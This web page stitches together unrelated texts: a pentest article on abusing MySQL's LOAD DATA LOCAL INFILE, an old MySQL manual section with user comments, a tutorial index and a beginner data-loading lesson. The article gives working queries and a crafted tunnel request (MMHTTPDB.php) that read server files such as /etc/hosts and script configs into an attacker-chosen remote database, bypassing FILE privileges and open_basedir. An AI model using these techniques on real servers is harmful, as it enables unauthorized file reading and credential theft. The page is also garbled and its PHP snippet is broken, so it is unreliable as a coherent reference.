Load data local infile examples. Syntax LOAD DATA INFILE

Useful tips

I am describing a fairly common situation. During the pentest, access to phpMyAdmin on the remote host was obtained, but it was not possible to access the files through it. The notorious FILE_PRIV=no flag in the MySQL daemon settings is to blame. Many people give up in this situation and believe that the files on the host can no longer be read in this way. But it is not always the case.

WARNING

All information is provided for informational purposes only. Neither the editors nor the author are responsible for any possible harm caused by the materials of this article.

Prelude

When it comes to the interaction of the MySQL DBMS with the file system, they usually remember:

the LOAD_FILE function, which allows you to read files on the server;
the SELECT ... INTO OUTFILE construct, which can be used to create new files.

Accordingly, if you have access to phpMyAdmin or any other client on a remote machine, then with a high probability you can access the file system through MySQL. But only if the FILE_PRIV=yes flag is set in the daemon settings, which is not always the case. In this case, we need to remember about another operator, much less well-known, but at the same time having quite powerful functionality. I'm talking about the LOAD DATA INFILE operator, the features of which will be discussed in this article.

Interaction between PHP and MySQL

PHP is the most common language for creating web applications, so it's worth taking a closer look at how it interacts with the database.

In PHP4, MySQL client libraries were included by default and included in the PHP distribution, so during installation you could only opt out of using MySQL by specifying the option

Without-mysql.

PHP5 comes without a client library. On *nix systems, PHP5 is usually compiled with the libmysqlclient library already installed on the server, simply by setting the option

With-mysql=/usr

during assembly. However, up to version 5.3, the low-level MySQL Client Library (libmysql) is used to interact with the MySQL server, an interface that is not optimized for communication with PHP applications.

For versions of PHP 5.3 and higher, the MySQL Native Driver (mysqlnd) was developed, and in the recently released version of PHP 5.4 this driver is used by default. Although the built-in MySQL driver is written as an extension to PHP, it is important to understand that it does not provide a new API to the PHP programmer. The MySQL database API for the programmer is provided by the MySQL, mysqli and PDO_MYSQL extensions. These extensions can use the built-in MySQL driver to communicate with the MySQL daemon.

Using the built-in MySQL driver offers some advantages over the MySQL client library: for example, you don't need to install MySQL to build PHP or use database scripts. More information about MySQL Native Driver and how it differs from libmysql can be found in the documentation.

The MySQL, mysqli, and PDO_MYSQL extensions can be individually configured to use either libmysql or mysqlnd. For example, to configure the MySQL extension to use the MySQL Client Library, and the mysqli extension to work with the MySQL Native Driver, you must specify the following options:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

LOAD DATA Syntax

The LOAD DATA statement, as the documentation says, reads rows from a file and loads them into a table at very high speed. It can be used with the LOCAL keyword (available in MySQL 3.22.6 and later), which specifies where the data will be loaded from. If the word LOCAL is missing, then the server loads the specified file into the table from its local machine, and not from the client's machine. That is, the file will not be read by the MySQL client, but by the MySQL server. But this operation again requires the FILE privilege (FILE_PRIV=yes flag). Executing the statement in this case can be compared to using the LOAD_FILE function - with the only difference being that the data is loaded into the table rather than output. Thus, using LOAD DATA INFILE to read files only makes sense when the LOAD_FILE function is not available, that is, on very old versions of the MySQL server.

But if the operator is used in this form: LOAD DATA LOCAL INFILE, that is, using the word LOCAL, then the file is read by the client program (on the client’s machine) and sent to the server where the database is located. In this case, the FILE privilege is naturally not needed to access files (since everything happens on the client’s machine).

MySQL/mysqli/PDO_MySQL extensions and the LOAD DATA LOCAL statement

In the MySQL extension, the ability to use LOCAL is controlled by the PHP_INI_SYSTEM directive mysql.allow_local_infile. By default, this directive has a value of 1, and therefore the operator we need is usually available. Also, the mysql_connect function allows you to enable the ability to use LOAD DATA LOCAL if the fifth argument contains the constant 128.

When the PDO_MySQL extension is used to connect to a database, we can also enable LOCAL support using the PDO::MYSQL_ATTR_LOCAL_INFILE (integer) constant

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

But the greatest opportunities for working with the LOAD DATA operator are provided by the mysqli extension. This extension also provides the PHP_INI_SYSTEM directive mysqli.allow_local_infile, which regulates the use of LOCAL.

If the connection is made via mysqli_real_connect, then using mysqli_options we can both enable and disable LOCAL support. Moreover, the mysqli_set_local_infile_handler function is available in this extension, which allows you to register a callback function to handle the contents of files read by the LOAD DATA LOCAL INFILE statement.

Reading files

The attentive reader has probably already guessed that if we have an account in phpMyAdmin, then we can read arbitrary files without having the FILE privilege, and even bypass open_basedir restrictions. After all, very often both the client (in this case phpMyAdmin) and the MySQL daemon are located on the same machine. Despite the limitations of the MySQL server's security policy, we can take advantage of the fact that this policy does not apply to the client and still read files from the system by pushing them into the database.

The algorithm is simple. It is enough to execute the following SQL queries:

We create a table into which we will record the contents of the files: CREATE TABLE temp(content text);
We send the contents of the file to the created table: LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";

Voila. The contents of the /etc/hosts file are now in the temp table. Need to read binary files? No problem. If in the first step we create a table like this:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

then it will be possible to load binary files into it. True, extra bits will be added to the end of the files, but they can be removed in any hex editor. This way you can download scripts protected by IonCube/Zend/TrueCrypt/NuSphere from the server and decode them.

Another example of how you can use LOAD DATA LOCAL INFILE is to find out the path to the Apache config. This is done as follows:

First, we find out the path to the binary; to do this, read /proc/self/cmdline using the method described above.
And then we read the binary directly, where we look for HTTPD_ROOT/SERVER_CONFIG_FILE.

It is clear that in this situation the phpMyAdmin scripts play the role of a client to connect to the database. And instead of phpMyAdmin, you can use any other web interface to work with MySQL.

For example, you can use scripts to backup and restore the database. Back in 2007, a French hacker under the nickname acidroot published an exploit based on this remark and making it possible to read files from the phpBB admin panel<= 2.0.22.

The tunnel is convenient. The tunnel is unsafe

When installing complex web applications, direct access to the database is often required, for example, for initial configuration and adjustment of scripts. Therefore, in some cases, it is advisable to install a simple script on the server - the so-called MySQL Tunnel, which allows you to perform database queries using a convenient client instead of the heavy-handed phpMyAdmin.

There are quite a few tunnels for working with a database, but all of them are not very common. Perhaps one of the most famous is Macromedia Dream Weaver Server Scripts. You can view the source code of this script.

The main difference between MySQL Tunnel and phpMyAdmin is the need to enter not only the login and password for the database, but also the host to connect to. At the same time, tunnels are often left active, just in case, you never know what else needs to be adjusted. It seems like you can use them only if you have an account in the database - then why be afraid? In short, it seems that the tunnel does not pose a particular security threat to the web server. But in reality, not everything is as good as it seems at first glance.

Consider the following situation. Let server A have a website site.com with an established tunnel http://site.com/_mmServerScripts/MMHTTPDB.php. Let's assume that on server A it is possible to use LOAD DATA LOCAL (as discussed above, this is, for example, possible with default settings). In this case, we can take a remote MySQL server, the databases of which can be accessed from anywhere and which also allows the use of LOCAL, and connect to this server using a tunnel. Data for connecting to a remote MySQL server:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

In this situation, server A will play the role of a client, and therefore we can send files from its host to the remote database or, in other words, read files. With the following simple query:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl FIELDS TERMINATED BY "__eof__" ESCAP ED BY "" LINES TERMINATED BY "__eof__"

In fact, this vulnerability is more dangerous than regular file reading: after all, it allows you to read the configuration files of scripts installed on server A. Through the same tunnel, you can already gain direct access to the database that manages these scripts. The technique described above for using muscle tunnels can be slightly generalized and applied when exploiting unserialize vulnerabilities.

Client-server

In order to better understand the capabilities of LOAD DATA, it is necessary to remember that the MySQL DBMS uses a traditional client-server architecture. When working with MySQL, we actually work with two programs:

A database server program located on the computer where the database is stored. The mysqld daemon listens for client requests over the network and accesses the contents of the database, providing the information that clients request. If mysqld is started with the --local-infile=0 option, then LOCAL will not work;
The client program connects to the server and transmits requests to the server. The MySQL DBMS distribution includes several client programs: the MySQL console client (the most commonly used), as well as mysqldump, mysqladmin, mysqlshow, mysqlimport, and so on. And if necessary, you can even create your own client program based on the standard libmysql client library, which comes with the MySQL DBMS.

If, when using the standard MySQL client, you cannot use the LOAD DATA LOCAL statement, then you should use the --local-infile switch:

Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE member;

Or specify the option for the client in the /my.cnf file:

Local-infile=1

It is important to note that by default all MySQL clients and libraries are compiled with the --enable-local-infile option to ensure compatibility with MySQL 3.23.48 and older versions, so LOAD DATA LOCAL is usually available for standard clients. However, commands to the MySQL server are sent mainly not from the console, but from scripts, so web development languages also have clients for working with the database, which may differ in functionality from the standard MySQL client.

Of course, this feature of the LOAD DATA statement can be a threat to system security, and therefore, starting with MySQL 3.23.49 and MySQL 4.0.2 (4.0.13 for Win), the LOCAL option will only work if both the client and server enable it.

Bypass open_basedir restrictions

Using LOAD DATA quite often allows you to bypass open_basedir restrictions. This can be useful if, for example, we have access to one user's directory on shared hosting, but want to read scripts from another user's home directory. Then, installing this script

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__""); $pdo = null; ?>

Conclusion

It is interesting that the described capability of the LOAD DATA operator has been known for at least ten years. A mention of it can, for example, be found in the ticket [#15408] (Safe Mode / MySQL Vuln 2002-02-06), and then similar questions repeatedly surfaced on bugs.php.net [#21356] [#23779] [#28632 ] [#31261] [#31711]. To which the developers answered verbatim the following:

[email protected] It’s not a bug, it’s a feature:)

Or they assigned the ticket "Status: Wont fix". Or they were limited to patches that solved almost nothing. Tickets on this topic arose again. Therefore, the specified method of bypassing open_basedir still works on quite a large number of servers. However, with the advent of the new mysqlnd driver, it seems that a decision was made to make significant changes: with default installations, this operator will now not be executed at all [#54158] [#55737]. Let's hope that in the near future the developers will put things in order in this matter.

LOAD DATA INFILE "file_name.txt" INTO TABLE tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

The LOAD DATA INFILE command reads lines from a text file and inserts them into a table at very high speed. If the LOCAL keyword is specified, the file is read from the client host. If LOCAL is not specified, then the file must be located on the server. (The LOCAL option is available in MySQL version 3.22.6 and later.)

If the text files that need to be read are on the server, then for security reasons these files should either be located in the database directory or be readable by all users. Additionally, to use the LOAD DATA INFILE command on server files, you must have FILE privileges on the server host. See section 4.2.7 Privileges Granted by MySQL.

In MySQL 3.23.49 and MySQL 4.0.2, the LOCAL command will not work if the mysqld daemon is started with --local-infile=0 or if the client is not LOCAL enabled. See section 4.2.4 Security Considerations Related to the LOAD DATA LOCAL Command.

If the LOW_PRIORITY keyword is specified, execution of this LOAD DATA command will be delayed until other clients have finished reading the table.

If you specify the CONCURRENT keyword when working with MyISAM tables, other threads can retrieve data from the table while the LOAD DATA command is running. Using this feature will of course have a slight performance impact on the LOAD DATA execution, even if no other thread is using the table at the same time.

When using the LOCAL option, execution may be slightly slower than allowing the server to access files directly because the contents of the file must move from the client host to the server. On the other hand, in this case there is no need for FILE privileges to load local files.

When using versions of MySQL prior to 3.23.24, the LOAD DATA INFILE command cannot read from the FIFO. If you need to read from the FIFO (eg gunzip stdout), you should use LOAD DATA LOCAL INFILE .

You can also load data files using the mysqlimport utility. This utility downloads files by sending LOAD DATA INFILE commands to the server. The --local option causes mysqlimport to read data files from the client host. You can specify the --compress option to get better performance over slow networks if both the client and server support the data compression protocol.

In cases where the files are located on the server, the latter acts according to the following rules:

If an absolute (full) path to a file is specified, the server uses this path without changes.
If a relative path to a file is specified, specifying one or more starting directories, the file will be searched relative to the specified directories in the server's data directory (datadir).
If a path to a file is given without specifying the starting directories, then the server looks for this file in the directory of the database being used.

It follows that a file specified as `./myfile.txt" is read from the server's data directory, while a file specified as `myfile.txt" is read from the database directory being used. For example, the following LOAD DATA command reads the data.txt file in the database directory for db1 because db1 is the current database, even though the command explicitly instructs to load the file into the db2 database table:

Mysql>USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;

The REPLACE and IGNORE keywords control the processing of input records that are duplicates of existing records with the same unique key values. If you specify REPLACE , new rows will replace existing rows with the same unique key. If you specify IGNORE , input rows that have the same unique key as existing ones will be skipped. If none of the parameters are specified, then if a duplicate key value is detected, an error is raised and the rest of the text file is ignored.

If data is loaded from a local file using the LOCAL keyword, then the server will not be able to abort the data transfer in the middle of this operation, so the default execution of the command is the same as when IGNORE is specified.

When using LOAD DATA INFILE on empty MyISAM tables, all non-unique indexes are created in a separate batch (as in REPAIR). This usually speeds up LOAD DATA INFILE significantly when there are a large number of indexes.

The LOAD DATA INFILE command is complementary to SELECT ... INTO OUTFILE. See section 6.4.1 SELECT Statement Syntax. To write data from a database to a file, use SELECT ... INTO OUTFILE . To read data back into the database, LOAD DATA INFILE is used. The syntax for FIELDS and LINES is the same in both commands. Both parts are optional, but if both are specified, then FIELDS must precede LINES .

If FIELDS is specified, each of its subexpressions (TERMINATED BY, ENCLOSED BY, and ESCAPED BY) is also optional, but at least one of them must be specified.

If the FIELDS statement is not defined, its parameters will default to the following values:

FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"

If the LINES statement is not defined, it has the following structure by default:

LINES TERMINATED BY "\n"

In other words, with default settings, the LOAD DATA INFILE command when reading input data will work as follows:

Find line ends as `\n" characters
Split lines into fields based on tab characters.
Don't expect fields to be enclosed within quotation characters.
Interpret tab, newline, or `\" characters that occur preceded by `\" as literals that are part of the field value.

Conversely, if the default settings for writing output are in effect, the SELECT ... INTO OUTFILE command will work as follows:

Insert tab characters between fields.
Do not enclose fields in quotation characters. Use `\" characters to escape instances of tab, newline, or `\" characters that appear among field values.
Insert newlines at the end of each entry.

Note that the FIELDS ESCAPED BY `\" entry requires two backslashes for a value that should be read as one backslash.

The IGNORE number LINES option can be used to ignore the column names header at the beginning of the file:

Mysql> LOAD DATA INFILE "/tmp/file_name" INTO TABLE test IGNORE 1 LINES;

When using SELECT ... INTO OUTFILE in conjunction with LOAD DATA INFILE to read data from a database into a file and then back from the file to the database, the field and string processing options for both commands must be the same. Otherwise, LOAD DATA INFILE will not be able to interpret the contents of this file correctly. Suppose the SELECT ... INTO OUTFILE command is used to write to a file with fields separated by commas:

Mysql> SELECT * INTO OUTFILE "data.txt" FIELDS TERMINATED BY "," FROM ...;

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY ",";

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY "\t";

A similar result would be obtained if each input line were interpreted as a separate field.

The LOAD DATA INFILE command can also be used to read files received from external sources. For example, fields in a dBASE database format file will be separated by commas and enclosed in double quotes. If the lines in this file end with newlines, you can use the following command to write the file, which illustrates setting options that handle fields and lines:

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE tbl_name FIELDS TERMINATED BY "," ENCLOSED BY """ LINES TERMINATED BY "\n";

Any of the options that handle fields and strings can specify the empty string (""). If the string is not empty, then the values of the FIELDS ENCLOSED BY and FIELDS ESCAPED BY options must contain one character. FIELDS TERMINATED BY and LINES TERMINATED BY option values can contain more than one character. For example, to write lines ending in ``carriage return-line feed'' pairs (as in MS DOS or Windows text files), you would specify the following expression: LINES TERMINATED BY "\r\n" .

CREATE TABLE jokes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" INTO TABLE jokes FIELDS TERMINATED BY ""; LINES TERMINATED BY "\n%%\n" (joke);

The FIELDS ENCLOSED BY option controls fields that are enclosed within specified characters. If the OPTIONALLY parameter is omitted, then in the output (SELECT ... INTO OUTFILE) all fields will be enclosed in the characters specified in ENCLOSED BY . An example of such output (using a comma as the field separator) is shown below:

"1","a string","100.20" "2","a string containing a , comma","102.20" "3","a string containing a \" quote","102.20" "4"," a string containing a \", quote and comma","102.20"

If the OPTIONALLY parameter is specified, then only fields of type CHAR and VARCHAR are highlighted with the character specified in ENCLOSED BY:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a \" quote",102.20 4,"a string containing a \", quote and comma",102.20

Please note that the appearance of ENCLOSED BY characters within a field value is escaped by prefixing them with the prefix from ESCAPED BY . Also be aware that if the ESCAPED BY value is empty, it is possible to create output that the LOAD DATA INFILE statement cannot read correctly. For example, if the escape character is the empty string, then the output shown above will be as shown below. Note that the second field on the fourth line contains a comma following a quotation mark, which (erroneously) appears to delimit this field:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a " quote",102.20 4,"a string containing a ", quote and comma",102.20

For input, the ENCLOSED BY character, if present, is removed from both ends of the field values. (This is true whether the OPTIONALLY parameter is specified or not; the OPTIONALLY parameter is not taken into account when working with input data.) If an ENCLOSED BY character is encountered that is preceded by an ESCAPED BY character, it is interpreted as part of the current value of the field. Additionally, double ENCLOSED BY characters occurring within a field are interpreted as single ENCLOSED BY characters if the field itself begins with that character. For example, if ENCLOSED BY """ is specified, then quotes are processed as follows:

"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss

The FIELDS ESCAPED BY option controls the writing or reading of special characters. If the FIELDS ESCAPED BY character is not empty, it is used as a prefix for the following characters in the output:

FIELDS ESCAPED BY symbol
FIELDS ENCLOSED BY symbol
First character of FIELDS TERMINATED BY and LINES TERMINATED BY values
ASCII character 0 (actually ASCII `0" is written after the escape character, not a byte with a zero value)

If the FIELDS ESCAPED BY character is empty, then no characters are escaped. In fact, there is no point in specifying an empty escape character, especially if the field values in the data being processed contain any of the characters in the list above.

If the FIELDS ESCAPED BY character is not empty, then in the case of input data, occurrences of such a character are removed and the character following such an occurrence is taken literally as part of the field value. Exceptions are escaped `0" or `N" (for example, \0 or \N if the escape character is `\"). These sequences are interpreted as ASCII 0 (null value byte) and NULL . See rules for handling NULL value below .

For more information about the syntax of the `\" escape character, see section 6.1.1 Literals: Representing Strings and Numbers.

In some cases, field and row processing options interact:

If LINES TERMINATED BY is the empty string and FIELDS TERMINATED BY is not the empty string, then the lines also end with the characters FIELDS TERMINATED BY .
If both FIELDS TERMINATED BY and FIELDS ENCLOSED BY are empty (""), the fixed-string format (no delimiters) is used. The fixed-line format does not provide any separators between fields. Instead, when reading and writing column values, the ``output'' width of the columns is used. For example, if a column is declared as INT(7) , the values for that column are written using 7-character wide fields. The input values for this column are obtained by reading 7 characters. The fixed-string format also affects the handling of NULL values (see below). Note that the fixed-size format will not work when using a multibyte character set.

NULL values will be treated differently depending on the FIELDS and LINES options used:

For the default FIELDS and LINES values, NULL is written as \N for output and \N is read as NULL for input (assuming the ESCAPED BY character is `\").
If FIELDS ENCLOSED BY is not empty, then a field whose value is a NULL letter word is read as the value NULL (as opposed to the word NULL enclosed between the characters FIELDS ENCLOSED BY, which is read as the string "NULL").
If FIELDS ESCAPED BY is empty, NULL is written as the word NULL .
In fixed-string format (which occurs if both FIELDS TERMINATED BY and FIELDS ENCLOSED BY specifiers are empty), NULL is written as the empty string. Note that this causes a NULL value and an empty string in a given table to be indistinguishable when written to a file, since they are both written as empty strings. If you want these values to be different when the file is read back, you should not use the fixed-line format.

Some cases not supported by the LOAD DATA INFILE statement:

Fixed-size rows (FIELDS TERMINATED BY and FIELDS ENCLOSED BY are both empty) and BLOB or TEXT columns.
If a delimiter is specified that is the same as or is a prefix of another, then LOAD DATA INFILE will not be able to interpret the input correctly. For example, the following FIELDS statement would cause problems: FIELDS TERMINATED BY """ ENCLOSED BY """
If the FIELDS ESCAPED BY option is empty, an occurrence of a FIELDS ENCLOSED BY or LINES TERMINATED BY character in a field value followed by a FIELDS TERMINATED BY character will cause the LOAD DATA INFILE command to terminate reading the field or line prematurely. This occurs because LOAD DATA INFILE cannot correctly determine where the field or line ends.

The following example loads all columns of the persondata table:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;

A list of fields is not specified, so the LOAD DATA INFILE command expects input rows to populate each column of the table. This uses the default FIELDS and LINES values.

If you want to load only some of the table columns, you must specify a list of columns:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata (col1,col2,...);

The list of fields must also be specified in cases where the order of the fields in the input file differs from the order of the columns in this table. Otherwise, MySQL will not be able to match the input fields and table columns.

If a row has too few fields, then columns that do not have fields in the input file are set to their default values. The assignment of default values is described in section 6.5.3 CREATE TABLE Statement Syntax.

The value of an empty field is interpreted differently than no value:

For string types, the column is set to the empty string.
For numeric types, the column is set to 0.
For date and time types, the column is set to the corresponding value of that type, ``null''. See section 6.2.2 Date and Time Data Types.

Note that these are the same values that would end up in a column as a result of explicitly assigning an empty string to string, numeric, or date/time columns in an INSERT or UPDATE command.

Columns of type TIMESTAMP are set only to the current date or time if the column is set to NULL or (for the first TIMESTAMP column only) if the TIMESTAMP column is outside the field list, if such a list is specified.

If the input string has too many fields, the extra fields will be ignored and the number of warnings will increase.

The LOAD DATA INFILE command interprets all input as strings, so you cannot specify numeric values for ENUM or SET columns in the same way as for INSERT commands. All ENUM and SET values must be specified as strings!

When using the C API, you can obtain query information by calling the mysql_info() API function at the end of the query, LOAD DATA INFILE . The format of the information line for this case is shown below:

Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

Warnings are issued under the same circumstances as when writing values with an INSERT command (see section 6.4.3 INSERT Statement Syntax), except that the LOAD DATA INFILE command additionally generates warnings when the input string has too few or too many fields. Warnings are not stored anywhere; The number of warnings can only be used to check whether the specified actions were completed normally. If you want to know exactly what caused the warnings, running SELECT ... INTO OUTFILE on another file and comparing the result with the original input file is the only way to get that information.

If you need to do a LOAD DATA to read from a pipe, you can use the following trick:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

When using a MySQL version older than 3.23.25, the above can only be done with LOAD DATA LOCAL INFILE .

For more information about the effectiveness of INSERT compared to LOAD DATA INFILE and the speed gains of LOAD DATA INFILE, see section 5.2.9 Speed of INSERT Queries.

User Comments

Posted by Jason Titus

[Delete] [Edit]

"The warnings are not stored anywhere; the number of warnings can only be used as an
indication if everything went well"

You have got to be kidding me. Is this done as some sort of DBA punishment? i.e. -We
KNOW what the problems were, but you"ll just have to build a output file and look through
your millions of records to find them". Didn't MySQL used to put these in the errorlog,
where do they belong? Go ahead and make it an option, but this is enough trouble to make
me switch back to Oracle (and that takes alot).

Posted by campbell on Friday May 17 2002, @6:24am

[Delete] [Edit]

Second that. (!) I don't understand how you
write that sentance with a straight face.

Posted by Jonathon Padfield on Friday May 17 2002, @6:24am

[Delete] [Edit]

Also, no information about which rows are skipped
is given.

Posted by on Friday May 17 2002, @6:24am

[Delete] [Edit]

This feature is very usefull when submitting an
INSERT from a web page. If the user hits
refresh, and reposts form data that results in a
subsequent INSERT of the same primary key data,
boom, the app breaks. This way, the user could
hit F5 till their face turns blue, and they
won't break the REPLACE statement.

[Delete] [Edit]

I have a MyDB folder in c:\mysql\data
I place there Data.txt and when I execute
LOAD DATA LOCAL INFILE "Data.txt" INTO TABLE
MyTable it says: Command has successfully executed
but NO values are adde to MyTable.
I'm under W2K

Posted by van hoof philip on Friday May 17 2002, @6:24am

[Delete] [Edit]

I want to syncronize my database with another
database from time to times. This means that I
will have to use the REPLACE thing. But what about
records that don"t excist anylonger in the newer
database. Will they be deleted in the MySQL one ?
Is there a way to auto-delete these ? Or is the
only solution to drop my MySQL table and recreate
before I start LOAD"ing it. I am using crontab
scripts for this operation so no human interaction
is possible during these operations.

Posted by on Friday May 17 2002, @6:24am

[Delete] [Edit]

The documentation is unclear about what
constitutes a "unique" key/index in this area. It
backreferences to "insert", but insert doesn"t
have such a constraint. I"ve found that primary
keys are sufficiently unique, but I"ve had to add
primaries where I didn't want them. Perhaps I"m
missing something....

Posted by on Friday May 17 2002, @6:24am

[Delete] [Edit]

It is very frustrating to get warnings when one is
importing data into a MySQL database and not be
able to access any information about the warnings.
MySQL really needs to add a feature that will
report what a warning is ABOUT rather than just
report a warning. Ideally the information about
the warning should be provided immediately. At
the very least some sort of error-log should be
created that a user can access.

Posted by on Friday May 17 2002, @6:24am

[Delete] [Edit]

On the "F5 till their face turns blue" subject...

This should be handled in the application. It
certainly doesn't hurt to tell the user, "You"ve
already entered this. Please stop refreshing."

Actually, due to the number of hyperimpatient end
lusers out there, this seems like a particularly
good idea.

Posted by Larry Irwin on Tuesday August 20 2002, @11:50am

[Delete] [Edit]

It would be very helpful to have an additional option
to "IGNORE CONSTRAINTS" during the loading
process.

Posted by on Thursday September 5 2002, @1:34am

[Delete] [Edit]

There is a catch with "on an empty MyISAM table, all
non-unique indexes are created in a separate batch"
since the mechanism used is a "repair with
keycache" which can be very slow if you have many
indexes. One really needs to use the mechanism to
stop keys being created and then do the repair with
myisamchk using "repair with sort" as described in
section 5.2.9 (if you can get it to work:-()

Posted by on Wednesday October 9 2002, @12:43pm

[

Navigation through the Tutorial: 1.1 What is MySQL? 1.2 Why use MySQL? 1.3 How stable is MySQL? 1.4 How big can MySQL tables be? 1.5 MySQL, MySQL AB, MySQL-MAX: what is it? 1.6 What operating systems does MySQL run on? 1.7 MySQL Distributions 1.8 MySQL Command Line Prompts 2.1 Introduction to MySQL 2.2 Connecting to a MySQL Server 2.3 Entering Queries in MySQL 2.4 Creating and Using Databases 2.5 Creating a MySQL Database 2.6 Creating a MySQL Table 2.7 Loading Data into a MySQL Table 2.8 Selecting All Data from a MySQL Table 2.9 Selecting specific rows from a MySQL table 2.10 Selecting arbitrary columns from a MySQL table 2.11 Sorting rows from a MySQL table 2.12 Calculating dates in a MySQL table 2.13 Working with NULL values in a MySQL table 2.14 Pattern matching. SQL templates. 2.15 Counting rows in SQL templates. COUNT() function 2.16 Using multiple tables in one SQL query 2.17 Obtaining information about MySQL databases and tables 2.18 Examples of common queries in MySQL 2.19 Maximum value for a MySQL column 2.20 Which row stores the maximum of a certain MySQL column 2.21 Maximum of a column in a MySQL group 2.22 V Which MySQL line contains the maximum value for a group? 2.23 Using user variables in MySQL 2.24 Using the MySQL client in batch mode 3.1 Rows in MySQL 3.2 Numbers in MySQL. How to write numbers in MySQL? 3.3 Hexadecimal Values in MySQL 3.4 NULL Values in MySQL 3.5 Database, Table, Index, Column, and Alias Names in MySQL 3.6 Case Sensitivity in MySQL Names 3.7 User Variables in MySQL 3.8 Comments in MySQL 3.9 MySQL Reserved Words 4.1 Backing Up MySQL Databases 4.2 BACKUP TABLE Syntax in MySQL 4.3 RESTORE TABLE Syntax in MySQL 4.4 CHECK TABLE Syntax in MySQL 4.5 REPAIR TABLE Syntax in MySQL 4.6 OPTIMIZE TABLE Syntax in MySQL 4.7 ANALYZE TABLE Syntax in MySQL 4.8 FLUSH Syntax in MySQL 4.9 K Syntax ILL in MySQL 4.10 SHOW Syntax MySQL 4.11 SHOW TABLE STATUS syntax in MySQL 4.12 SHOW STATUS syntax in MySQL 4.13 SHOW VARIABLES syntax in MySQL 4.14 back_log 4.15 character_set, character_sets, concurrent_inserts 4.16 connect_timeout, delay_key_write, delayed_insert_limit 4.17 delayed_insert_timeout, delayed_queue_ size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size , key_buffer_size 4. 20 language, log_bin, long_query_time 4.21 lower_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam _sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_write_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version , record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, wait_timeout 4.32 SHOW PROCESSLIST syntax in MySQL 4.33 SHOW GRAN syntax TS in MySQL 4.34 Syntax SHOW CREATE TABLE in MySQL 4.35 Options file my.cnf in MySQL 5.1 Column types in MySQL 5.2 Numeric types in MySQL 5.3 Date and time types in MySQL 5.4 Y2K (2000) problem and Date types in MySQL 5.5 DATETIME, DATE and TIMESTAMP types in MySQL 5.6 TIME type in MySQL 5.7 YEAR type in MySQL 5.8 String types CHAR and VARCHAR in MySQL 5.9 BLOB and TEXT string types in MySQL 5.10 ENUM string type in MySQL 5.11 SET string type in MySQL 5.12 Choosing the right type for a MySQL column 5.13 Using column types from other DBMSs for MySQL 5.14 Memory requirements of MySQL columns 6.1 Functions for MySQL usage in SELECT and WHERE 6.2 Untyped operator Brackets in MySQL 6.3 Untyped Comparison operator in MySQL 6.4 Logical operators in MySQL 6.5 Branching functions in MySQL 6.6 String functions in MySQL

After creating the table, you must populate it with data. Instructions and INSERT useful for this. We'll talk about how they work a little later, but for now let's think about the data that needs to be entered into the table. What exactly do they look like?

Let's assume that your wildlife records could be described as below. Note that MySQL expects dates in year-month-day format, this may be different from what you are used to. It is better to enter the year as 4 digits. MySQL has a fairly complex algorithm to correctly handle two-digit year values, but you don't need to figure that out for now, so let's enter the data unambiguously. All animal data for our example are shown in Table 2.2:

Table 2.2. Animal data

name	owner	species	sex	birth	death
Fluffy	Harold	cat	f	1993-02-04
Fluffy	Harold	cat	f	1993-02-04
Claws	Gwen	cat	m	1994-03-17
Buffy	Harold	dog	f	1989-05-13
Fang	Benny	dog	m	1990-08-27
Bowser	Diane	dog	m	1989-08-31	1995-07-29
Chirpy	Gwen	bird	f	1998-09-11
Whistler	Gwen	bird		1997-12-09
Slim	Benny	snake	m	1996-04-29

Since you're starting with an empty table, the easiest way to fill it is to create a text file containing a line for each of your animals, and then load the contents of the file into the table with just one statement.

You could create a text file pet.txt containing one entry per line, with the values separated by tab stops specified in the order in which the columns were listed in the CREATE TABLE statement. For missing values (such as unknown sex or death dates for animals that are still living), you can use NULL values. To represent them in a text file, use a label. For example, an entry about the Whistler bird looks something like this (I use a space to indicate the tab):

Whistler Gwen bird 1997-12-09

